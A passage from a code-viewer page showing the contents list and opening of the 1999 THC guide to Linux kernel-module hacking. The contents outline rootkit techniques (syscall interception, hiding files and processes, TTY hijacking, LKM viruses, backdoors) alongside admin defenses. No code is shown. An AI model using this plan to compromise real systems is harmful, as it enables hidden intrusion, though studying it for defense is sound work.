LKM_HACKING.html 240 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950495149524953495449554956495749584959496049614962496349644965496649674968496949704971497249734974497549764977497849794980498149824983498449854986498749884989499049914992499349944995499649974998499950005001500250035004500550065007500850095010501150125013501450155016501750185019502050215022502350245025502650275028502950305031503250335034503550365037503850395040504150425043504450455046504750485049505050515052505350545055505650575058505950605061506250635064506550665067506850695070507150725073507450755076507750785079508050815082508350845085508650875088508950905091509250935094509550965097509850995100510151025103510451055106510751085109511051115112511351145115511651175118511951205121512251235124512551265127512851295130513151325133513451355136513751385139514051415142514351445145514651475148514951505151515251535154515551565157515851595160516151625163516451655166516751685169517051715172517351745175517651775178517951805181518251835184518551865187518851895190519151925193519451955196519751985199520052015202520352045205520652075208520952105211521252135214521552165217521852195220522152225223522452255226522752285229523052315232523352345235523652375238523952405241524252435244524552465247524852495250525152525253525452555256525752585259526052615262526352645265526652675268526952705271527252735274527552765277527852795280528152825283528452855286528752885289529052915292529352945295529652975298529953005301530253035304530553065307530853095310531153125313531453155316531753185319532053215322532353245325532653275328532953305331533253335334533553365337533853395340534153425343534453455346534753485349535053515352535353545355535653575358535953605361536253635364536553665367536853695370537153725373537453755376537753785379538053815382538353845385538653875388538953905391539253935394539553965397539853995400540154025403540454055406540754085409541054115412541354145415541654175418541954205421542254235424542554265427542854295430543154325433543454355436543754385439544054415442544354445445544654475448544954505451545254535454545554565457545854595460546154625463546454655466546754685469547054715472547354745475547654775478547954805481548254835484548554865487548854895490549154925493549454955496549754985499550055015502550355045505550655075508550955105511551255135514551555165517551855195520552155225523552455255526552755285529553055315532553355345535553655375538553955405541554255435544554555465547554855495550555155525553555455555556555755585559556055615562556355645565556655675568556955705571557255735574557555765577557855795580558155825583558455855586558755885589559055915592559355945595559655975598559956005601560256035604560556065607560856095610561156125613561456155616561756185619562056215622562356245625562656275628562956305631563256335634563556365637563856395640564156425643564456455646564756485649565056515652565356545655565656575658565956605661566256635664566556665667566856695670567156725673567456755676567756785679568056815682568356845685568656875688568956905691569256935694569556965697569856995700570157025703570457055706570757085709571057115712571357145715571657175718571957205721572257235724572557265727572857295730573157325733573457355736573757385739574057415742574357445745574657475748574957505751575257535754575557565757575857595760576157625763576457655766576757685769577057715772577357745775577657775778577957805781578257835784578557865787578857895790579157925793579457955796579757985799580058015802580358045805580658075808580958105811581258135814581558165817581858195820582158225823582458255826582758285829583058315832583358345835583658375838583958405841584258435844584558465847584858495850585158525853585458555856585758585859586058615862586358645865586658675868586958705871587258735874587558765877587858795880588158825883588458855886588758885889589058915892589358945895589658975898589959005901590259035904590559065907590859095910591159125913591459155916591759185919592059215922592359245925592659275928592959305931593259335934593559365937593859395940594159425943594459455946594759485949595059515952595359545955595659575958595959605961596259635964596559665967596859695970597159725973597459755976597759785979598059815982598359845985598659875988598959905991599259935994599559965997599859996000600160026003600460056006600760086009601060116012601360146015601660176018601960206021602260236024602560266027602860296030603160326033603460356036603760386039604060416042604360446045604660476048604960506051605260536054605560566057605860596060606160626063606460656066606760686069607060716072607360746075607660776078607960806081608260836084608560866087608860896090609160926093609460956096609760986099610061016102610361046105610661076108610961106111611261136114611561166117611861196120612161226123612461256126612761286129613061316132613361346135613661376138613961406141614261436144614561466147614861496150615161526153615461556156615761586159616061616162616361646165616661676168616961706171617261736174617561766177617861796180618161826183618461856186618761886189619061916192619361946195619661976198619962006201620262036204620562066207620862096210621162126213621462156216621762186219622062216222622362246225622662276228622962306231623262336234623562366237623862396240624162426243624462456246624762486249625062516252625362546255625662576258625962606261626262636264626562666267626862696270627162726273627462756276627762786279628062816282628362846285628662876288628962906291629262936294629562966297629862996300630163026303630463056306630763086309631063116312631363146315631663176318631963206321632263236324632563266327632863296330633163326333633463356336633763386339634063416342634363446345634663476348634963506351635263536354635563566357635863596360636163626363636463656366636763686369637063716372637363746375637663776378637963806381638263836384638563866387638863896390639163926393639463956396639763986399640064016402640364046405640664076408640964106411641264136414641564166417641864196420642164226423642464256426642764286429643064316432643364346435643664376438643964406441644264436444644564466447644864496450645164526453645464556456645764586459646064616462646364646465646664676468646964706471647264736474647564766477647864796480648164826483648464856486648764886489649064916492649364946495649664976498649965006501650265036504650565066507650865096510651165126513651465156516651765186519652065216522652365246525652665276528652965306531653265336534653565366537653865396540654165426543654465456546654765486549655065516552655365546555655665576558655965606561656265636564656565666567656865696570657165726573657465756576657765786579658065816582658365846585658665876588658965906591659265936594659565966597659865996600660166026603660466056606660766086609661066116612661366146615661666176618661966206621662266236624662566266627662866296630663166326633663466356636663766386639664066416642664366446645664666476648664966506651665266536654665566566657665866596660666166626663666466656666666766686669667066716672667366746675667666776678667966806681668266836684668566866687668866896690669166926693669466956696669766986699670067016702670367046705670667076708670967106711671267136714671567166717671867196720672167226723672467256726672767286729673067316732673367346735673667376738673967406741674267436744674567466747674867496750675167526753675467556756675767586759676067616762676367646765676667676768676967706771677267736774677567766777677867796780678167826783678467856786678767886789679067916792679367946795679667976798679968006801680268036804680568066807680868096810681168126813681468156816681768186819682068216822682368246825682668276828682968306831683268336834683568366837683868396840684168426843684468456846684768486849685068516852685368546855685668576858685968606861686268636864686568666867686868696870687168726873687468756876687768786879688068816882688368846885688668876888688968906891689268936894689568966897689868996900690169026903690469056906690769086909691069116912691369146915691669176918691969206921692269236924692569266927692869296930693169326933693469356936693769386939694069416942694369446945694669476948694969506951695269536954695569566957695869596960696169626963696469656966696769686969697069716972697369746975697669776978697969806981698269836984698569866987698869896990699169926993699469956996699769986999700070017002700370047005700670077008700970107011701270137014701570167017701870197020702170227023702470257026702770287029703070317032703370347035703670377038703970407041704270437044704570467047704870497050705170527053705470557056705770587059706070617062706370647065706670677068706970707071707270737074707570767077707870797080708170827083708470857086708770887089709070917092709370947095709670977098709971007101710271037104710571067107710871097110711171127113711471157116711771187119712071217122712371247125712671277128712971307131713271337134713571367137713871397140714171427143714471457146714771487149715071517152715371547155715671577158715971607161716271637164716571667167716871697170717171727173717471757176717771787179718071817182718371847185718671877188718971907191719271937194719571967197719871997200720172027203720472057206720772087209721072117212721372147215721672177218721972207221722272237224722572267227722872297230723172327233723472357236723772387239724072417242724372447245724672477248724972507251725272537254725572567257725872597260726172627263726472657266726772687269727072717272727372747275727672777278727972807281728272837284728572867287728872897290729172927293729472957296729772987299730073017302730373047305730673077308730973107311731273137314731573167317731873197320732173227323732473257326732773287329733073317332733373347335733673377338733973407341734273437344734573467347734873497350735173527353735473557356735773587359736073617362736373647365736673677368736973707371737273737374737573767377737873797380738173827383738473857386738773887389739073917392739373947395739673977398739974007401740274037404740574067407740874097410741174127413741474157416741774187419742074217422742374247425742674277428742974307431743274337434743574367437743874397440744174427443744474457446744774487449745074517452745374547455745674577458745974607461746274637464746574667467746874697470747174727473747474757476747774787479748074817482748374847485748674877488748974907491749274937494749574967497749874997500750175027503750475057506750775087509751075117512751375147515751675177518751975207521752275237524752575267527752875297530753175327533753475357536753775387539754075417542754375447545754675477548754975507551755275537554755575567557755875597560756175627563756475657566756775687569757075717572757375747575757675777578757975807581758275837584758575867587758875897590759175927593759475957596759775987599760076017602760376047605760676077608760976107611761276137614761576167617761876197620762176227623762476257626762776287629763076317632763376347635763676377638763976407641764276437644764576467647764876497650765176527653765476557656765776587659766076617662766376647665766676677668766976707671767276737674767576767677767876797680768176827683768476857686768776887689769076917692769376947695769676977698769977007701770277037704770577067707770877097710771177127713771477157716771777187719772077217722772377247725772677277728772977307731773277337734773577367737773877397740774177427743774477457746774777487749775077517752775377547755775677577758775977607761776277637764776577667767776877697770777177727773777477757776777777787779778077817782778377847785778677877788778977907791779277937794779577967797779877997800780178027803780478057806780778087809781078117812781378147815781678177818781978207821782278237824782578267827782878297830783178327833783478357836783778387839784078417842784378447845784678477848784978507851785278537854785578567857785878597860786178627863786478657866786778687869787078717872787378747875787678777878787978807881788278837884788578867887788878897890789178927893789478957896789778987899790079017902790379047905790679077908790979107911791279137914791579167917791879197920792179227923792479257926792779287929793079317932793379347935793679377938793979407941794279437944794579467947794879497950795179527953795479557956795779587959
  1. <HTML>
  2. <TITLE>(nearly) Complete Linux Loadable Kernel Modules</title>
  3. <BODY BGCOLOR=WHITE>
  4. <CENTER>
  5. <H1><FONT COLOR=#0000FF>
  6. (nearly) Complete Linux Loadable Kernel Modules
  7. </H1></FONT>
  8. <H4>
  9. -the definitive guide for hackers, virus coders and system administrators-
  10. </H4>
  11. </CENTER>
  12. <P>
  13. <H4><FONT COLOR=#FF0000>
  14. written by pragmatic / THC, version 1.0<br>
  15. released 03/1999<br>
  16. </H4></font>
  17. <P><P><P><P><P><P>
  18. <CENTER>
  19. <H3>
  20. CONTENTS
  21. </H3>
  22. </CENTER>
  23. <A HREF="#Introduction">Introduction</A><BR>
  24. <P><P>
  25. <B><U>
  26. I. Basics<BR>
  27. </B></U>
  28. <A HREF="#I.1.">1. What are LKMs</A><BR>
  29. <A HREF="#I.2.">2. What are Syscalls</A><BR>
  30. <A HREF="#I.3.">3. What is the Kernel-Symbol-Table</A><BR>
  31. <A HREF="#I.4.">4. How to transform Kernel to User Space Memory</A><BR>
  32. <A HREF="#I.5.">5. Ways to use user space like functions</A><BR>
  33. <A HREF="#I.6.">6. List of daily needed Kernelspace Functions</A><BR>
  34. <A HREF="#I.7.">7. What is the Kernel-Daemon</A><BR>
  35. <A HREF="#I.8.">8. Creating your own Devices</A><BR>
  36. <P><P>
  37. <B><U>
  38. II. Fun & Profit<BR>
  39. </B></U>
  40. <A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
  41. <A HREF="#II.2.">2. Interesting Syscalls to Intercept</A><BR>
  42. <DD><A HREF="#II.2.1.">2.1 Finding interesting systemcalls (the strace approach)</A><BR></DD>
  43. <A HREF="#II.3.">3. Confusing the kernel's System Table</A><BR>
  44. <A HREF="#II.4.">4. Filesystem related Hacks</A><BR>
  45. <DD><A HREF="#II.4.1."> 4.1 How to Hide Files</A><BR></DD>
  46. <DD><A HREF="#II.4.2."> 4.2 How to hide the file contents (totally)</A><BR></DD>
  47. <DD><A HREF="#II.4.3."> 4.3 How to hide certain file parts (a prototype implementation)</A><BR></DD>
  48. <DD><A HREF="#II.4.4."> 4.4 How to monitor redirect file operations</A><BR></DD>
  49. <DD><A HREF="#II.4.5."> 4.5 How to avoid any file owner problems</A><BR></DD>
  50. <DD><A HREF="#II.4.6."> 4.6 How to make a hacker-tools-directory unaccessible</A><BR></DD>
  51. <DD><A HREF="#II.4.7."> 4.7 How to change CHROOT Environments</A><BR></DD>
  52. <A HREF="#II.5.">5. Process related Hacks</A><BR>
  53. <DD><A HREF="#II.5.1."> 5.1 How to hide any process</A><BR></DD>
  54. <DD><A HREF="#II.5.2."> 5.2 How to redirect Execution of files</A><BR></DD>
  55. <A HREF="#II.6.">6. Network (Socket) related Hacks</A><BR>
  56. <DD><A HREF="#II.6.1."> 6.1 How to controll Socket Operations</A><BR></DD>
  57. <A HREF="#II.7.">7. Ways to TTY Hijacking</A><BR>
  58. <A HREF="#II.8.">8. Virus writing with LKMs</A><BR>
  59. <DD><A HREF="#II.8.1."> 8.1 How a LKM virus can infect any file (not just modules; prototype)</A><BR></DD>
  60. <DD><A HREF="#II.8.2."> 8.2 How can a LKM virus help us to get in</A><BR></DD>
  61. <A HREF="#II.9.">9. Making our LKM invisible & unremovable</A><BR>
  62. <A HREF="#II.10.">10.Other ways of abusing the Kerneldaemon</A><BR>
  63. <A HREF="#II.11.">11.How to check for presents of our LKM</A><BR>
  64. <P><P>
  65. <B><U>
  66. III. Soltutions (for admins)<BR>
  67. </B></U>
  68. <A HREF="#III.1.">1. LKM Detector Theory & Ideas</A><BR>
  69. <DD><A HREF="#III.1.1.">1.1 Practical Example of a prototype Detector</A><BR></DD>
  70. <DD><A HREF="#III.1.2.">1.2 Practical Example of a prototype password protected create_module(...)</A><BR></DD>
  71. <A HREF="#III.2.">2. Anti-LKM-Infector ideas</A><BR>
  72. <A HREF="#III.3.">3 Make your programs untraceable (theory)</A><BR>
  73. <DD><A HREF="#III.3.1.">3.1 Practical Example of a prototype Anti-Tracer</A><BR></DD>
  74. <A HREF="#III.3.">4. Hardening the Linux Kernel with LKMs</A><BR>
  75. <DD><A HREF="#III.4.1."> 4.1 Why should we allow arbitrary programs execution rights?
  76. (route's idea from Phrack implemented as LKM)</A><BR></DD>
  77. <DD><A HREF="#III.4.2"> 4.2 The Link Patch
  78. (Solar Designer's idea from Phrack implemented as LKM)</A><BR></DD>
  79. <DD><A HREF="#III.4.3."> 4.3 The /proc permission patch
  80. (route's idea from Phrack implemented as LKM)</A><BR></DD>
  81. <DD><A HREF="#III.4.4."> 4.4 The securelevel patch
  82. (route's idea from Phrack implemented as LKM)</A><BR></DD>
  83. <DD><A HREF="#III.4.5."> 4.5 The rawdisk patch</A><BR></DD>
  84. <P><P>
  85. <B><U>
  86. IV. Some Better Ideas (for hackers)<BR>
  87. </B></U>
  88. <A HREF="#IV.1.">1. Tricks to beat admin LKMs</A><BR>
  89. <A HREF="#IV.2.">2. Patching the whole kernel - or creating the Hacker-OS</A><BR>
  90. <DD><A HREF="#IV.2.1."> 2.1 How to find kernel symbols in /dev/kmem</A><BR></DD>
  91. <DD><A HREF="#IV.2.2."> 2.2 The new 'insmod' working without kernel support</A><BR></DD>
  92. <A HREF="#IV.3.">3. Last words</A><BR>
  93. <P><P>
  94. <B><U>
  95. V. The near future : Kernel 2.2<BR>
  96. </B></U>
  97. <A HREF="#V.1.">1. Main Difference for LKM writer's</A><BR>
  98. <P><P>
  99. <B><U>
  100. VI. Last Words<BR>
  101. </B></U>
  102. <A HREF="#VI.1.">1. The 'LKM story' or 'how to make a system plug & hack compatible'</A><BR>
  103. <A HREF="#VI.2.">2. Links to other Resources</A><BR>
  104. <P><P>
  105. <A HREF="#Acknowledgements">Acknowledgements</A><BR>
  106. <P><P>
  107. <A HREF="#Greets">Greets</A><BR>
  108. <P><P><P><P>
  109. <B><U>
  110. Appendix<BR>
  111. </B></U>
  112. <P><P>
  113. <B><U>
  114. A - Source Codes<BR>
  115. </B></U>
  116. <DD><A HREF="#A-a">a) LKM Infection <I>by Stealthf0rk/SVAT</I></A><BR></DD>
  117. <DD><A HREF="#A-b">b) Heroin - the classic one <I>by Runar Jensen</I></A><BR></DD>
  118. <DD><A HREF="#A-c">c) LKM Hider / Socket Backdoor <I>by plaguez</I></A><BR></DD>
  119. <DD><A HREF="#A-d">d) LKM TTY hijacking <I>by halflife</I></A><BR></DD>
  120. <DD><A HREF="#A-e">e) AFHRM - the monitor tool <I>by Michal Zalewski</I></A><BR></DD>
  121. <DD><A HREF="#A-f">f) CHROOT module trick <I>by FLoW/HISPAHACK</I></A><BR></DD>
  122. <DD><A HREF="#A-g">g) Kernel Memory Patching <I>by ?</I></A><BR></DD>
  123. <DD><A HREF="#A-h">h) Module insertion without native support <I>by Silvio Cesare</I></A><BR></DD>
  124. <P><P><P><P>
  125. <HR SIZE="3" WIDTH="300" ALIGN="CENTER" NOSHADE="NOSHADE">
  126. <P><P><P><P>
  127. <P>
  128. <H3><A NAME="Introduction"></A>Introduction</H3>
  129. <P>
  130. The use of Linux in server environments is growing from second to second. So
  131. hacking Linux becomes more interesting every day. One of the best techniques to
  132. attack a Linux system is using kernel code. Due to its feature called Loadable
  133. Kernel Modules (LKMs) it is possible to write code running in kernel space, which
  134. allows us to access very sensitive parts of the OS. There were some texts and
  135. files concerning LKM hacking before (Phrack, for example) which were very good.
  136. They introduced new ideas, new methodes and complete LKMs doing anything a
  137. hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists)
  138. in 1998 were very interesting.<BR>
  139. So why do I write again a text about LKMs. Well there are several reasons :
  140. <ul>
  141. <li> former texts did sometimes not give good explanations for kernel beginners;
  142. this text has a very big basic section, helping beginners to understand the
  143. concepts. I met lots of people using nice exploits/sniffers and so on without
  144. even understanding how they work. I included lots of source code in this file
  145. with lots of comments, just to help those beginners who know that hacking is
  146. more than playing havoc on some networks out there !<br>
  147. <li> every published text concentrated on a special subject, there was no complete
  148. guide for hackers concerning LKMs. This text will cover nearly every aspect of
  149. kernel abusing (even virus aspects)<br>
  150. <li> this texts was written from the hacker / virus coder perspective, but it will
  151. also help admins and normal kernel developers doing a better job<br>
  152. <li> former text showed us the main advantages / methods of abusing LKMs, but
  153. there are some things which we have not heard of yet. This text will show
  154. some new ideas (nothing totally new, but things which could help us)<br>
  155. <li> this text will show concepts of some simple ways to protect from LKM attacks<br>
  156. <li> this text will also show how to defeat LKM protections by using methods like
  157. Runtime Kernel Patching<br>
  158. </ul>
  159. Please remember that new ideas are implemented as prototype modules (just for
  160. demonstration) which have to be improved in order to use them in the wild.<br>
  161. The main motivation of this text is giving everyone <i>one</i> big text covering the
  162. whole LKM problem. In appendix A I give you some existing LKMs plus a short
  163. description of their working (for beginners) and ways to use them. <br>
  164. The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested
  165. all programs and code fragments. The Linux system must have LKM support for
  166. using most code examples in this text. Only part IV will show some sources
  167. working without native LKM support. Most ideas in this text will also work on
  168. 2.2.x systems (perhaps you'll need some minor modification); but recall that
  169. kernel 2.2.x was just released (1/99) and most linux distribution still use
  170. 2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE
  171. will present their kernel 2.2.x versions; so you won't need to know how to hack
  172. a 2.2.x kernel at the moment. Good administrators will also wait some months
  173. in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't
